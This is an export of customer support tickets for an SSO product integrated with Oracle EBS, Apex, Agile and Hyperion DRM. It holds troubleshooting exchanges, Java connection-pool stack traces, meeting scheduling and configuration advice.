Hi Anil Dutta, Can you setup a call to discuss regarding Hyperion DRM. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1120> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please update us, on this ticket regarding Hyperion DRM. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1120> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, We are submitting request for creating load balancer for DRM application with our network team. Keep this ticket opn, We will start implemnting SSO once load balancer is ready.

Hi Anil Dutta, Sure, Thanks for the update. We will keep the ticket opened. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1120> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, can we have a meeting today for DRM sso ? Please let us know what time we can connect today.

Hi Anil Dutta, ?Please send us a meeting invitation for 7:30 PM IST. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1120> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Meeinting invite - [https://teams.microsoft.com/l/meetup-join/19%3ameeting\\_YWJjYmJkOTYtNGRmYS00NjM5LWlyYmEtMml4MWJhNGZhMDkw%40thread.v2/0?context=%7b%22Tid%22%3a%2222d635a3-3930-4779-a82d-155e2d13b75e%22%2c%22Oid%22%3a%227710dbc9-ccb5-4349-bd4c-12f7422ef783%22%7d](https://teams.microsoft.com/l/meetup-join/19%3ameeting_YWJjYmJkOTYtNGRmYS00NjM5LWlyYmEtMml4MWJhNGZhMDkw%40thread.v2/0?context=%7b%22Tid%22%3a%2222d635a3-3930-4779-a82d-155e2d13b75e%22%2c%22Oid%22%3a%227710dbc9-ccb5-4349-bd4c-12f7422ef783%22%7d)

Ok Noted! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1120> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, ? Could you please provide an update on the current status of the ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1120> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please re-open this ticket. we will schedule a call to discuss this issue.

TICKET DISPLAY ID : 1121

SUBJECT : Ability to customize message on Logout page

PROBLEM DESCRIPTION : Hello, Can we have the ability to customize the message that is

displayed on the Logout page?

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.200

seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Jasvir Chahil, Shall check on this and give you a reply. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1121> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Jasvir Chahil, kindly update on this ticket, Can you please send the screenshots of which you are referring to? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1121> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Jasvir Chahil, Can you please send us the requested screenshot of the "Logout page" Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1121> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Jasvir Chahil, We have received the screenshot from email. Thank you for sharing it. Regarding the template customization, we are able to customize with the property values as follows:  
1.logoPath=<insert company logo link here> 2.helpdeskMessage=<p>If the issue persists, please reach out to our technical <a href=<insert your message or URL link here>>support</a></p> These

customization are part of the EIKAuth.config file. all other content will be initiated from the EIK kit itself. Once the changes have been made in the EIKAuth.config file, a system restart will be necessary. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1121> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Jasvir Chahil, Could you please send us an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1121> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1122

SUBJECT : Apex iframe SSO issue when calling from EBS

PROBLEM DESCRIPTION : We have EBS integrated with Authenion SSO. It is working. We have requirement to call Apex iframe from EBS. It is integrated with EBS now. This Apex instance also integrated with Authenion SSO. Now when we call Apex iframe from EBS, it goes into authorization loop and does not open Apex page. It gives error message and shows blank page. "login.microsoftonline.com refused to connect. "

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.203

seen_articles:	enterprise_enabled:	false	referrer:
<a href="https://support.likemindsconsulting.com/support/home">https://support.likemindsconsulting.com/support/home</a>			portal_url:
<a href="https://support.likemindsconsulting.com/support/tickets/new">https://support.likemindsconsulting.com/support/tickets/new</a>			

Hi Anil Dutta, Please send us network trace. Ticket URL -



<https://support.likemindsconsulting.com/helpdesk/tickets/1122> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We have another instance of Apex iframe without Authenion SSO. when we call this from EBS then it works and open Apex page. We have uploaded the har trace file for both instances working and not working. apexodev2.har

Hi Anil Dutta, Please point the header value of apex-iframe in the EBS configuration(In Authenion UI).Test SSO once and let us know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1122> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

It is already provided.. please check the ticket.

Can you please update the ticket with anlysis/findings? when can we expect the solution of this issue?

Hi Anil Dutta, Please update us with the following mentioned details, ? can you send us a network trace with the following flow: 1. login to apex 2. login to EBS in same browser 3. Open the iframe with network trace Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1122> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We have already provided the network trace files with same steps 5 days ago. we have uploaded

files into support portal. Not working: apexodev2.har Working with Non SSO: ebsouat2.har

Hi Anil Dutta, We have the SSO and Non-SSO traces. However, we need the SSO trace captured in the following flow: 1) In a browser, Login to Apex through SSO 2) Open a new tab in the same browser, and login to EBS through SSO 3) In this EBS application, navigate to iFrame option (capturing network trace for this iFrame events) Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1122> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We have performed the steps and captured the network trace. Please find attached the file apexodev2\_22Aug2023.har.

Hi Anil Dutta, We still could not see any Authenion cookie on the browser trace you provided. Please let us know your availability for a meeting to look into this. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1122> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please provide us an update on this. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1122> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please update the status, we have provided all the required information.

Hi Anil Dutta, Please let us know your availability for a meeting to look into this. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1122> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please give us an update on ticket 1122. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1122> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please send us an update on ticket 1122. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1122> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please let us know if EBS and Apex with iframe SSO will work? We have setup non-sso apex for iframe and it working but when we configure SSO. It does not work. Please let us know what information do you need to troubleshoot this issue.

Hi Anil Dutta, Could you please send us a meeting invite to discuss this issue. Thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1122> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thank you for your support. Apex iframe issue fixed after putting EBS context URI in protected field. Earlier we were told to put this in the unprotected. But now for fixing the Apex iframe SSO issue, we

are told to put in the protected. Please suggest would there be any impact on EBS SSO? And what should be the suggested configuration?

Anil, Shall discuss and advice you on any impact or not,

Hi Anil Dutta, Shall discuss and advice on any impact or not. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1122> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, There wont be any impact on EBS SSO. This is the recommended configuration for supporting Iframe. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1122> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1123

SUBJECT : Reopen Ticket - #1118 Agile SSO is not working with FileManager functionality

PROBLEM DESCRIPTION : Hi Team, Please re-open the ticket no. 1118 as we are still facing issue in Agile application. There are some functionality still not working. Please setup a call at 3:00 PM IST today. Thanks Prateek

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/tickets/1118> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new> created\_by: 48088105989 time: 2023-08-25 01:51:47 -0400

Hi Prateek Jain, Okay sure, Please send us meeting invite at 3:00 PM IST. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1123> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please send us a meeting invite to the following email address.  
eiksupport@likemindsconsulting.com                      Ticket                      URL                      -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1123> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi            Prateek            Jain,            ?Okay,            Noted            !            Ticket            URL            -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1123> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, Please find the attached requested log files.

Hi Prateek Jain, Looks like this is an external application and not installed on the agile application server itself. We are not sure what this external application is and its integration with Agile. Please provide us more information to assist you better. 1) Application deployment server 2) Does this share Agile application cookie or it is a separate application protected by Authenion 3) If its a separate application, Does this accept HTTP-Headers for login. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1123> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please send us an update on ticket 1118. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1123> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1124

SUBJECT : EBS SSO Error MSG: GE-LM-5005

PROBLEM DESCRIPTION : Suddenly Authenion SSO not working for EBS instance and giving error message: Reason: A system error has occurred. Reference code: GE-LM-5005 This error message was coming in eik-debug.log file when SSO stopped working for EBS and above error message coming in browser/ 2023-08-28T06:55:42.399-0700 WARN [https-jsse-nio-8443-exec-10] [com.likeminds.ebsauth.service.AuthService] Error Executing SQL Locale support disabled

2023-08-28T06:55:42.399-0700	DEBUG	[https-jsse-nio-8443-exec-10]
[com.likeminds.ebsauth.service.AuthService]	Obtained	User Language is US
2023-08-28T06:55:42.399-0700	DEBUG	[https-jsse-nio-8443-exec-10]
[com.likeminds.ebsauth.service.AuthService]	Entering	Creating EBS Session
2023-08-28T06:55:42.399-0700	INFO	[https-jsse-nio-8443-exec-10]
[com.likeminds.ebsauth.datasource.DataSourceManager]	Entering	getConnection
2023-08-28T06:55:42.399-0700	INFO	[https-jsse-nio-8443-exec-10]
[com.likeminds.ebsauth.datasource.DataSourceManager]	Available connections after checkout: 0	
2023-08-28T06:55:42.499-0700	DEBUG	[https-jsse-nio-8443-exec-10]
[com.likeminds.ebsauth.exception.EikExceptionResolver]	Resolving to view '/error' based on mapping [java.lang.Exception]	

Below error message came in eik-debug.log file when we restarted

Tomcat to check if this might fix the issue, But Tomcat bounce also did not fix the issue.

2023-08-28T07:14:33.242-0700

WARN

[main]

[org.springframework.web.context.support.AnnotationConfigWebApplicationContext] Exception encountered during context initialization - cancelling refresh attempt: org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'authClientController' defined in file [/u01/Tomcat/apache-tomcat-9.0.65/webapps/EBSOUAT2/WEB-INF/classes/com/likeminds/ebsauth/controller/AuthClientController.class]: Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'com.likeminds.ebsauth.service.AuthService': Unsatisfied dependency expressed through field 'langUtil'; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'com.likeminds.ebsauth.core.EikLanguageHandlerUtil': Invocation of init method failed; nested exception is com.likeminds.ebsauth.exception.AuthException: EIK\_SQL\_CONNECTION\_ERROR

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.54  
seen\_articles: enterprise\_enabled: false referrer:  
https://support.likemindsconsulting.com/support/tickets portal\_url:  
https://support.likemindsconsulting.com/support/tickets/new

Please find EIK log file from EBSOUAT2.

Please find EIK logs from second node of EBSOUAT2.

Hi Anil Dutta, We are looking into the log files, Please send us the Authenion Error logs as well .

Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1124> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

This is a SSO issue with EBS and we have uploaded the EIK logs. though I am uploading the Authenion logs.

Hi Anil Dutta, Please send us a meeting invite to discuss on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1124> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Today we have been experiencing lots of issues in lower envs with EIK. To workaround the issue reported in the other ticket GE-LM-5005 we have undeployed and redeployed the war file to fix. This issue has come 3 times today in our UAT env and on last attempt of undeploy/redeploy it is giving error The requested resource [/EBSOUAT2/ssologin] is not available

This error message also coming in ebsdatasource.log file. 2023-08-28 15:58:04,601 INFO c.l.e.v.EIKDatasource [main] Name of the DBCX file with path where database configuration will be saved /u01/Tomcat/apache-tomcat-9.0.65/EIK.dbcx 2023-08-28 16:01:54,804 INFO c.l.e.v.EIKDatasource [main] Trying to Registering User 2023-08-28 16:01:54,888 ERROR c.l.e.v.EIKDatasource [main] Unknown Error occurred java.sql.SQLException: Unable to start the Universal Connection Pool: oracle.ucp.UniversalConnectionPoolException: Error during pool creation in Universal Connection Pool Manager MBean: oracle.ucp.UniversalConnectionPoolException: Error during pool creation in Universal Connection Pool Manager: java.sql.SQLException: Invalid Universal Connection Pool configuration:



```
java.sql.SQLException: Unable to create factory class instance with provided factory class name:
java.lang.ClassNotFoundException:                                     at
oracle.ucp.util.UCPErrorHandler.newSQLException(UCPErrorHandler.java:456)
~[EBSdatasource.jar:?]                                           at
oracle.ucp.util.UCPErrorHandler.throwSQLException(UCPErrorHandler.java:133)
~[EBSdatasource.jar:?]                                           at
oracle.ucp.jdbc.PoolDataSourceImpl.startPool(PoolDataSourceImpl.java:928)
~[EBSdatasource.jar:?]                                           at
oracle.ucp.jdbc.PoolDataSourceImpl.getConnection(PoolDataSourceImpl.java:1961)
~[EBSdatasource.jar:?]                                           at
oracle.ucp.jdbc.PoolDataSourceImpl.access$400(PoolDataSourceImpl.java:201)
~[EBSdatasource.jar:?]                                           at
oracle.ucp.jdbc.PoolDataSourceImpl$31.build(PoolDataSourceImpl.java:4279)
~[EBSdatasource.jar:?]                                           at
oracle.ucp.jdbc.PoolDataSourceImpl.getConnection(PoolDataSourceImpl.java:1917)
~[EBSdatasource.jar:?]                                           at
oracle.ucp.jdbc.PoolDataSourceImpl.getConnection(PoolDataSourceImpl.java:1880)
~[EBSdatasource.jar:?]                                           at
oracle.ucp.jdbc.PoolDataSourceImpl.getConnection(PoolDataSourceImpl.java:1865)
~[EBSdatasource.jar:?]                                           at
com.likeminds.ebsauth.v1.DBConnectionValidator.getDBConnection(DBConnectionValidator.java:1
48)                                                                ~[EBSdatasource.jar:?] at
com.likeminds.ebsauth.v1.EIKDatasource.main(EIKDatasource.java:131) [EBSdatasource.jar:?]
Caused by: oracle.ucp.UniversalConnectionPoolException: Error during pool creation in Universal
Connection Pool Manager MBean: oracle.ucp.UniversalConnectionPoolException: Error during pool
creation in Universal Connection Pool Manager: java.sql.SQLException: Invalid Universal
```

Connection Pool configuration: java.sql.SQLException: Unable to create factory class instance with provided factory class name: java.lang.ClassNotFoundException: at oracle.ucp.util.UCPErrorHandler.newUniversalConnectionPoolException(UCPErrorHandler.java:336) ~[EBSdatasource.jar:?] at oracle.ucp.util.UCPErrorHandler.throwUniversalConnectionPoolException(UCPErrorHandler.java:59) ~[EBSdatasource.jar:?] at oracle.ucp.admin.UniversalConnectionPoolManagerMBeanImpl.createConnectionPool(UniversalConnectionPoolManagerMBeanImpl.java:304) ~[EBSdatasource.jar:?] at oracle.ucp.jdbc.PoolDataSourceImpl.createPool(PoolDataSourceImpl.java:1260) ~[EBSdatasource.jar:?] at oracle.ucp.jdbc.PoolDataSourceImpl.startPool(PoolDataSourceImpl.java:914) ~[EBSdatasource.jar:?]

Hi Support Team, I have sent a meeting invite for today at 3:00 PM IST. Regards, Anil

Hi Anil Dutta, Okay Noted! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1124> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, 1.Are both the EBS - db Versions the same (Functional ebs - db version & Intermittently functional ebs - db version) ? 2.Can you also pickup any errors generated from the ebs -db side when you are experiencing this intermittent issue. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1124> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, This ticket is been re opened. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1124> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Can you please send us an update on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1124> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

we are configuring new EBS instance in Authenion. While creating dbcx file it is giving again same error message. java.sql.SQLException: Unable to start the Universal Connection Pool: oracle.ucp.UniversalConnectionPoolException: Error during pool creation in Universal Connection Pool Manager MBean: oracle.ucp.UniversalConnectionPoolException: Error during pool creation in Universal Connection Pool Manager: java.sql.SQLException: Invalid Universal Connection Pool configuration: java.sql.SQLException: Unable to create factory class instance with provided factory class name: java.lang.ClassNotFoundException: at oracle.ucp.util.UCPErrorHandler.newSQLException(UCPErrorHandler.java:456) ~[EBSdatasource.jar:?] at oracle.ucp.util.UCPErrorHandler.throwSQLException(UCPErrorHandler.java:133) ~[EBSdatasource.jar:?] at oracle.ucp.jdbc.PoolDataSourceImpl.startPool(PoolDataSourceImpl.java:928) ~[EBSdatasource.jar:?] I have sent a meeting invite for today at 5:30 PM IST.

Hi Anil Dutta, Ok Noted! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1124>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

same error message coming if we shutdown the database. 06:20:11.963 [main] INFO com.likeminds.ebsauth.v1.EIKDatasource - Trying to Registering User java.sql.SQLException: Unable to start the Universal Connection Pool: oracle.ucp.UniversalConnectionPoolException: Error during pool creation in Universal Connection Pool Manager MBean: oracle.ucp.UniversalConnectionPoolException: Error during pool creation in Universal Connection Pool Manager: java.sql.SQLException: Invalid Universal Connection Pool configuration: java.sql.SQLException: Unable to create factory class instance with provided factory class name: java.lang.ClassNotFoundException: at oracle.ucp.util.UCPErrorHandler.newSQLException(UCPErrorHandler.java:456) at oracle.ucp.util.UCPErrorHandler.throwSQLException(UCPErrorHandler.java:133)

It should give n/w IO message but it is giving same error even when database is down.

Hi Anil Dutta, Database should be up and running at the time of dbcx file generation. ? ? ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1124> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Any update on this error. we are getting below error while creating dbcx file it is giving again same error message. java.sql.SQLException: Unable to start the Universal Connection Pool: oracle.ucp.UniversalConnectionPoolException: Error during pool creation in Universal Connection Pool Manager MBean: oracle.ucp.UniversalConnectionPoolException: Error during pool creation in Universal Connection Pool Manager: java.sql.SQLException: Invalid Universal Connection Pool

configuration: java.sql.SQLException: Unable to create factory class instance with provided factory  
class name: java.lang.ClassNotFoundException: at  
oracle.ucp.util.UCPErrorHandler.newSQLException(UCPErrorHandler.java:456)  
~[EBSdatasource.jar:?] at  
oracle.ucp.util.UCPErrorHandler.throwSQLException(UCPErrorHandler.java:133)  
~[EBSdatasource.jar:?] at  
oracle.ucp.jdbc.PoolDataSourceImpl.startPool(PoolDataSourceImpl.java:928)  
~[EBSdatasource.jar:?]

We are again getting same error when setting up new EBS instance for SSO in authenion. Caused  
by: java.sql.SQLException: Unable to create factory class instance with provided factory class

name: java.lang.ClassNotFoundException: at  
oracle.ucp.util.UCPErrorHandler.newSQLException(UCPErrorHandler.java:456)  
~[EBSdatasource.jar:?] at  
oracle.ucp.util.UCPErrorHandler.throwSQLException(UCPErrorHandler.java:133)  
~[EBSdatasource.jar:?] at  
oracle.ucp.jdbc.PoolDataSourceImpl.initConnectionFactory(PoolDataSourceImpl.java:3249)  
~[EBSdatasource.jar:?] at  
oracle.ucp.jdbc.PoolDataSourceImpl.createUniversalConnectionPool(PoolDataSourceImpl.java:110  
5) ~[EBSdatasource.jar:?] at  
oracle.ucp.admin.UniversalConnectionPoolManagerBase.createConnectionPool(UniversalConnecti  
onPoolManagerBase.java:811) ~[EBSdatasource.jar:?] at  
oracle.ucp.admin.UniversalConnectionPoolManagerMBeanImpl.createConnectionPool(UniversalCo  
nnectionPoolManagerMBeanImpl.java:291) ~[EBSdatasource.jar:?] at  
oracle.ucp.jdbc.PoolDataSourceImpl.createPool(PoolDataSourceImpl.java:1260)  
~[EBSdatasource.jar:?] at

```

oracle.ucp.jdbc.PoolDataSourceImpl.startPool(PoolDataSourceImpl.java:914)
~[EBSdatasource.jar:?] ... 8 more Caused by: java.lang.ClassNotFoundException: at
java.lang.Class.forName0(Native Method) ~[?:1.8.0_311] at
java.lang.Class.forName(Class.java:264) ~[?:1.8.0_311] at
oracle.ucp.jdbc.PoolDataSourceImpl.initConnectionFactory(PoolDataSourceImpl.java:3241)
~[EBSdatasource.jar:?] at
oracle.ucp.jdbc.PoolDataSourceImpl.createUniversalConnectionPool(PoolDataSourceImpl.java:110
5) ~[EBSdatasource.jar:?] at
oracle.ucp.admin.UniversalConnectionPoolManagerBase.createConnectionPool(UniversalConnecti
onPoolManagerBase.java:811) ~[EBSdatasource.jar:?] at
oracle.ucp.admin.UniversalConnectionPoolManagerMBeanImpl.createConnectionPool(UniversalCo
nnectionPoolManagerMBeanImpl.java:291) ~[EBSdatasource.jar:?] at
oracle.ucp.jdbc.PoolDataSourceImpl.createPool(PoolDataSourceImpl.java:1260)
~[EBSdatasource.jar:?] at
oracle.ucp.jdbc.PoolDataSourceImpl.startPool(PoolDataSourceImpl.java:914)
~[EBSdatasource.jar:?] can we have a quick call?

```

Hi Anil Dutta, Yes, Please send us a meeting invite. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1124> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please clarify on the following points and get back to us. ? 1.Understanding that this is a new EBS instance, please make sure that Port 1521 is open (Telnet 1521) on db side. 2.Assuming that you are using a Load balancer URL, Try connecting to the hostnames of instance 1 & 2 separately and check. 3.If you are able connect through jdbc url , try to generating the dbcx on

instance 1&2. ? ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1124>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please provide an update on this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1124> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, We are closing this ticket since there is no reply from your end. We assume that issue has been resolved. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1124> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1125

SUBJECT : The requested resource [/EBSOUAT2/ssologin] is not available

PROBLEM DESCRIPTION : Today we have been experiencing lots of issues in lower envs with EIK. To workaround the issue reported in the other ticket GE-LM-5005 we have undeployed and redeployed the war file to fix. This issue has come 3 times today in our UAT env and on last attempt of undeploy/redeploy it is giving error The requested resource [/EBSOUAT2/ssologin] is not available

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, Please send us a meeting invite to discuss this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1125> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

There is already a ticket opened for this issue. Please close this ticket and work on #1124 ticket.  
EBS SSO Error MSG: GE-LM-5005 #1124

Hi Anil Dutta, This ticket is straightening to 1124 ticket so we are closing this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1125> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1126

SUBJECT : Agile native user is not working after configuration Agile Authenion SSO

PROBLEM DESCRIPTION : Business case: We are using native user for our internal testing with different roles and respective privileges for our development/enhancements. Project like Bantrel related POC and access should be tested only native user. Agile session is created to perform the business logic, import/export and integration related activity with Agile SDK. This is native user How we can login with agile LB url by native user? Please setup an immediate call for this? Thanks  
Prateek

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url:



<https://support.likemindsconsulting.com/support/tickets/new>

Hi Prateek Jain, We will check this and let you know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1126> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please add the following URIs as Excluded Resources in Authenion console for Agile application. ? Excluded resources: /Agile/default/login-cms.jsp /Agile/default/j\_security\_check /Agile/static/\* ? ? Use the below LB URL to login with the Native user.  
Ticket URL - <https://<lb-url>/Agile/default/login-cms.jsp>  
<https://support.likemindsconsulting.com/helpdesk/tickets/1126> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek Jain, Please let us know the error you are facing when trying to login with the native user using the LB URL. ? Authenion only enables SSO login with proxy-based approach. Its the agile application behaviour to allow the SSO & local logins. If 'j\_security\_check' could not be excluded, as an alternate approach, you have to use the Agile application's OHS url to login with the admin/native user. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1126> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

